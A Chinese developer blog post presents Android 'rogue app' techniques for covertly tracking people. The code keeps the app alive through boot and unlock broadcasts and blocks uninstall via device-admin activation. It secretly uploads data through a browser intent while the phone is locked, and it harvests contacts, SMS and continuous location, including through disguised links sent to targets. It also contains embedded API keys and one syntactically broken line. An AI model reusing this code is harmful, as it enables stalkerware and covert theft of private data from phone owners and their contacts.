Android定位跟踪 轨迹跟踪 手机定位 流氓定位app 多人跟踪app 进程保活 程序保活(百度定位、ip定位、基站定位等)

工作之余做了一个流氓软件,下面给大家分享一下流氓手段。小菜:仅做娱乐参考,不予以不当用途。

前奏:

通过一个定位app或者一个连接(图片/二维码/网页)获取用户实时位置上传到后台,通过获取联系人权限获取联系人上传到后台,再通过跟踪app对各个定位app进行跟踪查询。功能挺简单,记录一下穷人的程序保活方法。

7.0过后做进程保活就难咯,与其花时间去研究这玩意,倒不如去研究用户的新需求,添加系统粘性来的实在。当然也不是没有办法解决,有钱人就向微信、支付宝等学习,没钱就看下面!

  1. android应用内执行shell
  2. 双进程保活aidl版
  3. 双进程保活jni版
  4. 保活JobService版
  5. 像素activity
  6. hook技术
  7. 欺骗系统之偷梁换柱

以上是历史的存在,下面才是我们要面对的现实。

保活优化:

  • Home等键以及动作监听

避免按返回程序onDestroy()

@Override
	public boolean onKeyDown(int keyCode, KeyEvent event) {
		if (keyCode == KeyEvent.KEYCODE_BACK) {
			isDestroy = true;
			Intent intent = new Intent(Intent.ACTION_MAIN);
			intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
			intent.addCategory(Intent.CATEGORY_HOME);
			startActivity(intent);
			return true;
		}
		return super.onKeyDown(keyCode, event);
	}

用户重启等监听(解锁监听需要动态注册),通过广播接收相应动作进行功能操作

//静态注册
<receiver android:name="com.example.mapapp.receiver.mBroadcastReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="com.example.mapapp.service.destroy" />
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.MEDIA_MOUNTED" />
                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />

                <data android:scheme="file" >
                </data>
            </intent-filter>
        </receiver>

在onReceive()进行相关监听

public class mBroadcastReceiver extends BroadcastReceiver {
	// private Intent intentService;

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		DebugUtil.debug("mBroadcastReceiver:", "已进入广播");
		/**
		 * 自定义广播,服务关闭时
		 */
		if (intent.getAction().equals("com.example.mapapp.service.destroy")) {

			DebugUtil.debug("mBroadcastReceiver:", "自定义广播,服务关闭重启程序11");
			// intentService = new Intent(context, mService.class);
			// context.startService(intentService);
			appIntent(context);
		}
		/**
		 * 手机开机
		 */
		if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
			DebugUtil.debug("mBroadcastReceiver:", "开机启动程序");
			appIntent(context);
			// if (!mUtils.isServiceRunning(context, mService.class)) {
			// intentService = new Intent(context, mService.class);
			// context.startService(intentService);
			// }
		}

		/**
		 * 按电源键
		 */
		if (intent.getAction().equals(Intent.ACTION_USER_PRESENT)) {
			DebugUtil.debug("mBroadcastReceiver:", "唤醒屏幕启动程序");
			appIntent(context);
			// if (!mUtils.isServiceRunning(context, mService.class)) {
			// intentService = new Intent(context, mService.class);
			// context.startService(intentService);
			// }
		}
		/**
		 * 开锁
		 */
		if (intent.getAction().equals(Intent.ACTION_SCREEN_ON)) {
			DebugUtil.debug("mBroadcastReceiver:", "正在解锁");
			appIntent(context);
		}
		/**
		 * 锁屏
		 */
		if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {
			DebugUtil.debug("mBroadcastReceiver:", "正在锁屏");
		}
		/**
		 * SD挂载
		 */
		if (intent.getAction().equals(Intent.ACTION_MEDIA_MOUNTED)) {
			DebugUtil.debug("mBroadcastReceiver:", "SD挂载");
			appIntent(context);
		}
		/**
		 * SD
		 */
		if (intent.getAction().equals(Intent.ACTION_MEDIA_UNMOUNTED)) {
			DebugUtil.debug("mBroadcastReceiver:", "SD不挂载");
		}
	}

	@SuppressLint("InlinedApi")
	public void appIntent(Context context) {
		try {
			Intent intent = context.getPackageManager()
					.getLaunchIntentForPackage("com.example.mlocation");
			if (intent != null) {
				intent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES
						| Intent.FLAG_ACTIVITY_NEW_TASK);
				context.startActivity(intent);
			}else {
				// 开启服务--上传位置信息到服务器
				Intent intentService = new Intent(context, mService.class);
				context.startService(intentService);
			}
			
			DebugUtil.debug("mBroadcastReceiver:", "广播打开程序");
		} catch (ActivityNotFoundException e) {
			DebugUtil.debug("mBroadcastReceiver:", "广播打开程序失败");
		}
	}

}

ok就是酱紫了,不过这玩意并不是那么理想的,要不然就显示不出穷人和土豪的区别,这玩意一套弄下来,基本只能保证在进程还有被kill掉的情况下才能生效。亲测:机顶盒android4.4上可以直接监听到系统重启等相关动作,android7.1的360手机和8.0小米手机不行。

  • 无法卸载app(DevicePolicManager)

继承DeviceAdminReceiver类,里面的可以不要做任何逻辑处理。

public class MyDeviceAdminReceiver extends DeviceAdminReceiver {
}

注册一下,description可以写一下你给用户看的描述。

   <receiver
            android:name=".MyDeviceAdminReceiver"
            android:description="@string/description"
            android:label="防卸载"
            android:permission="android.permission.BIND_DEVICE_ADMIN" >
            <meta-data
                android:name="android.app.device_admin"
                android:resource="@xml/deviceadmin" />

            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>

调用系统激活服务

   // 激活设备超级管理员
    public void activation() {
        Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
        // 初始化要激活的组件
        ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class);
        intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
        intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活可以防止随意卸载应用");
        startActivity(intent);
    }

这玩意呢,也是分版本的,低版本确实可以,卸载的时候提示去除管理权限才可以卸载,但是高版本也没得什么用处。

  • 无网络权限偷偷上传数据

这玩意呢用来干什么呢,就是当你在获取用户联系人、号码、甚至聊天记录等相关隐私的时候,偷偷的通过get的方式将数据上传到你自己的后台。

Timer  timer = new Timer();
        final KeyguardManager  km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
        TimerTask   task = new TimerTask() {
            @Override
            public void run() {
                // TODO: 2017/6/26  如果用户锁屏状态下,就打开网页通过get方式偷偷传输数据
                if (km.inKeyguardRestrictedInputMode()) {
                    Intent intent = new Intent();
                    intent.setAction(Intent.ACTION_VIEW);
                    intent.addCategory(Intent.CATEGORY_BROWSABLE);
                    intent.setData(Uri
                            .parse("http://192.168.0.2/send?user=1&pwd=2"));
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(intent);
                }else{
                    // TODO: 2017/6/26  判断如果在桌面就什么也不做 ,如果不在桌面就返回
                    Intent intent = new Intent();
                    intent.setAction("android.intent.action.MAIN");
                    intent.addCategory("android.intent.category.HOME");
                    intent.addCategory(Intent.CATEGORY_DEFAULT);
                    intent.addCategory("android.intent.category.MONKEY");
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(intent);
                }
            }
        };
        timer.schedule(task, 1000, 2000);

低版本上final KeyguardManager  km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);可能会报错,但是我相信你会有其他方法来判断是否为锁屏状态的,为什么不在不锁屏的时候偷偷上传呢,你自己调用一下就知道了。

  • 添加白名单

这玩意的确可以,但是有一个问题就是需要用户手动确认打开权限,没钱人的悲哀,我这里找到了一个小米的跳转至设置界面的代码,其他机型等待大神来添加了。

// 第一次安装
		if (isFirstStart(this)) {
			// 如果是小米手机,跳到白名单设置界面
			if (Build.MANUFACTURER.equals("Xiaomi")) {
				Intent intent = new Intent();
				intent.setAction("miui.intent.action.OP_AUTO_START");
				intent.addCategory(Intent.CATEGORY_DEFAULT);
				startActivity(intent);
			}
		}
/**
	 * 是否第一次打开
	 * 
	 * @param context
	 * @return
	 */
	public boolean isFirstStart(Context context) {
		SharedPreferences preferences = context.getSharedPreferences(
				"SHARE_APP_TAG", 0);
		Boolean isFirst = preferences.getBoolean("FIRSTStart", true);
		if (isFirst) {// 第一次
			preferences.edit().putBoolean("FIRSTStart", false).commit();
			Log.i("test", "一次");
			return true;
		} else {
			Log.i("test", "N次");
			return false;
		}
	}

这玩意如果用户同意打开自启权限的话,那已经算是穷人中的完美了。那为什么要添加一个是否是第一次安装呢,因为我笨,相信你的眼睛,我既然没法判断到程序是否打开了自启权限(这里有点尴尬,跳过跳过)。

信息采集:

什么叫数据采集呢,因为说是网络小偷也不好,下面是位置采集和用户信息采集的一些方法(仅做技术探讨),有什么不足的地方还希望大神们多多指教。

  • 基础信息采集

这个比较简单了,伪装app、换壳app等,具体是什么呢,就是伪造用户注册、登录等信息提交,把数据提交到自己的后台即可。

  • 位置采集

这个对于穷人来说有三种模式,gps获取、网络获取、基站获取。经过简单测试,发现还是百度定位比较好用,因为他本身就集成了多种模式获取功能,但是有一个情况就是用户在不打开权限的情况下就无法获取,所以结合了ip获取和基站获取一起使用,基本能达到要求。

百度Android定位sdk:http://lbsyun.baidu.com/index.php?title=android-locsdk

在mainactivity或者service中开始请求

mLocClient = new LocationClient(this);
		mLocClient.registerLocationListener((BDLocationListener) myListener);

		LocationClientOption option = new LocationClientOption();
		option.setOpenGps(true); // 打开gps

		/**
		 * 地址,位置描述
		 */
		// 可选,是否需要地址信息,默认为不需要,即参数为false
		// 如果开发者需要获得当前点的地址信息,此处必须为true
		option.setIsNeedAddress(true);
		// 可选,是否需要位置描述信息,默认为不需要,即参数为false
		// 如果开发者需要获得当前点的位置信息,此处必须为true
		option.setIsNeedLocationDescribe(true);

		/**
		 * 经纬度
		 */
		option.disableCache(true);
		// 可选,设置返回经纬度坐标类型,默认GCJ02
		// GCJ02:国测局坐标;
		// BD09ll:百度经纬度坐标;
		// BD09:百度墨卡托坐标;
		// 海外地区定位,无需设置坐标类型,统一返回WGS84类型坐标
		option.setCoorType("bd09ll");
		// 可选,设置发起定位请求的间隔,int类型,单位ms
		// 如果设置为0,则代表单次定位,即仅定位一次,默认为0
		// 如果设置非0,需设置1000ms以上才有效
		option.setScanSpan(1000 * 3);
		// 可选,定位SDK内部是一个service,并放到了独立进程。
		// 设置是否在stop的时候杀死这个进程,默认(建议)不杀死,即setIgnoreKillProcess(true)
		option.setIgnoreKillProcess(false);
		// 可选,设置是否需要过滤GPS仿真结果,默认需要,即参数为false
		option.setEnableSimulateGps(false);

		mLocClient.setLocOption(option);
		mLocClient.start();

监听位置信息

public class MyLocationListenner implements BDLocationListener {

		@Override
		public void onReceiveLocation(BDLocation location) {
        }
}

百度ip获取所在城市:http://api.map.baidu.com/location/ip?ip=192.168.1.1&ak=jEWspme9xp7GApsMdCRoBmnLH6MELfln&mcode=14:2E:AF:59:AA:70:31:15:7E:DB:BD:52:AF:4A:97:04:A6:7E:F6:F7;com.example.mlocation

直接打开一个线程请求一下即可

public void getMapByIp() {
		if (!isUuid) {
			Log.i("test", "开始通过Ip请求位置信息:" + userIp);
			String getUrl = "http://api.map.baidu.com/location/ip?ip="
					+ userIp
					+ "&ak=jEWspme9xp7GApsMdCRoBmnLH6MELfln&mcode=14:2E:AF:59:AA:70:31:15:7E:DB:BD:52:AF:4A:97:04:A6:7E:F6:F7;com.example.mlocation";
			Func.getBaiDuMapByIpInfos(context, getUrl,
					new OnImplInfosListener());
		}
	}

基站定位:https://blog.csdn.net/zeng622peng/article/details/78295922,这位大神说的很详细,我就不贴代码了?

  • 联系人采集

这个不是什么新鲜事了,android四大主键之一,相信大家都很熟悉,获取到相应信息post到自己的服务器上就好了。这里推荐一个大神的文章:http://www.cnblogs.com/android100/p/android-tel-book.html

权限

<!-- 读联系人权限 -->  
<uses-permission android:name="android.permission.READ_CONTACTS" />  
<!-- 写联系人权限 -->  
<uses-permission android:name="android.permission.WRITE_CONTACTS" />  
<!-- 拨号权限 -->  
<uses-permission android:name="android.permission.CALL_PHONE" />  
<!-- 读短信权限 -->  
<uses-permission android:name="android.permission.READ_SMS" /> 

初始化

 private void init() {  
         // 实例化  
        asyncQueryHandler = new MyAsyncQueryHandler(getContentResolver());  
        Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; // 联系人Uri;  
        // 查询的字段  
        String[] projection = { ContactsContract.CommonDataKinds.Phone._ID,  
                ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,  
                ContactsContract.CommonDataKinds.Phone.DATA1, "sort_key",  
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID,  
                ContactsContract.CommonDataKinds.Phone.PHOTO_ID,  
                ContactsContract.CommonDataKinds.Phone.LOOKUP_KEY };  
        // 按照sort_key升序查詢  
        asyncQueryHandler.startQuery(0, null, uri, projection, null, null,  
                "sort_key COLLATE LOCALIZED asc");  
  
    }  

监听

 private class MyAsyncQueryHandler extends AsyncQueryHandler {  
  
        public MyAsyncQueryHandler(ContentResolver cr) {  
            super(cr);  
        }  
  
        @Override  
        protected void onQueryComplete(int token, Object cookie, Cursor cursor) {  
            if (cursor != null && cursor.getCount() > 0) {  
                contactIdMap = new HashMap<Integer, ContactBean>();  
                list = new ArrayList<ContactBean>();  
                cursor.moveToFirst(); // 游标移动到第一项  
                for (int i = 0; i < cursor.getCount(); i++) {  
                    cursor.moveToPosition(i);  
                    String name = cursor.getString(1);  
                    String number = cursor.getString(2);  
                    String sortKey = cursor.getString(3);  
                    int contactId = cursor.getInt(4);  
                    Long photoId = cursor.getLong(5);  
                    String lookUpKey = cursor.getString(6);  
  
                    if (contactIdMap.containsKey(contactId)) {  
                        // 无操作  
                    } else {  
                        // 创建联系人对象  
                        ContactBean contact = new ContactBean();  
                        contact.setDesplayName(name);  
                        contact.setPhoneNum(number);  
                        contact.setSortKey(sortKey);  
                        contact.setPhotoId(photoId);  
                        contact.setLookUpKey(lookUpKey);  
                        list.add(contact);  
  
                        contactIdMap.put(contactId, contact);  
                    }  
                }  
               // if (list.size() > 0) {  
               //    setAdapter(list);  
               // }  
            }  
  
            super.onQueryComplete(token, cookie, cursor);  
        }  
  
    }  

获取到就好办了,至于要不要显示,还是直接上传到后台,这个就看个人需求了。

  • 聊天记录采集

这里分享以为大神之作,意思是获取微信本地数据库的数据,这个思维可以解决很多问题,这里就不贴代码了,看大神:https://blog.csdn.net/njweiyukun/article/details/54024442?locationNum=10&fps=1

  • 通过发送微信或qq连接(可伪装图片、二维码、网页)获取对方位置

这个有两种方式,就是网页定位和ip定位,网页定位也是要提示获取权限的,ip定位只能获取所在城市。怎么来实现呢,把获取位置集成在web端,看我这篇文章:https://blog.csdn.net/qq_35350654/article/details/82252677

/**
	 *  百度开放接口通过IP地址获取地理位置
	 * 
	 * @return 返回结果 String[]
	 */
	public static String getAddressByIp(String ip) {
		if (ip == null || ip.equals("")) {
			return null;
		}
		BufferedReader reader = null;
		String result = null;
		StringBuffer sbf = new StringBuffer();
		String thisUrl = httpUrl + "?ip=" + ip;
		try {
			URL url = new URL(thisUrl);
			HttpURLConnection connection = (HttpURLConnection) url
					.openConnection();
			connection.setRequestMethod("GET");
			connection.setRequestProperty("apikey",
					"127329af2783917a946abd0f8479f571");
			connection.connect();
			InputStream is = connection.getInputStream();
			reader = new BufferedReader(new InputStreamReader(is, "UTF-8"));
			String strRead = null;
			while ((strRead = reader.readLine()) != null) {
				sbf.append(strRead);
				sbf.append("\r\n");
			}
			reader.close();
			result = sbf.toString();
			return=result ;
 
		} catch (Exception e) {
			SystemOut.println("获取IP地址失败");
		}
		return null;
	}

THE END 谢谢查看

编辑:吴明辉

猜你喜欢

转载自blog.csdn.net/qq_35350654/article/details/84062395
今日推荐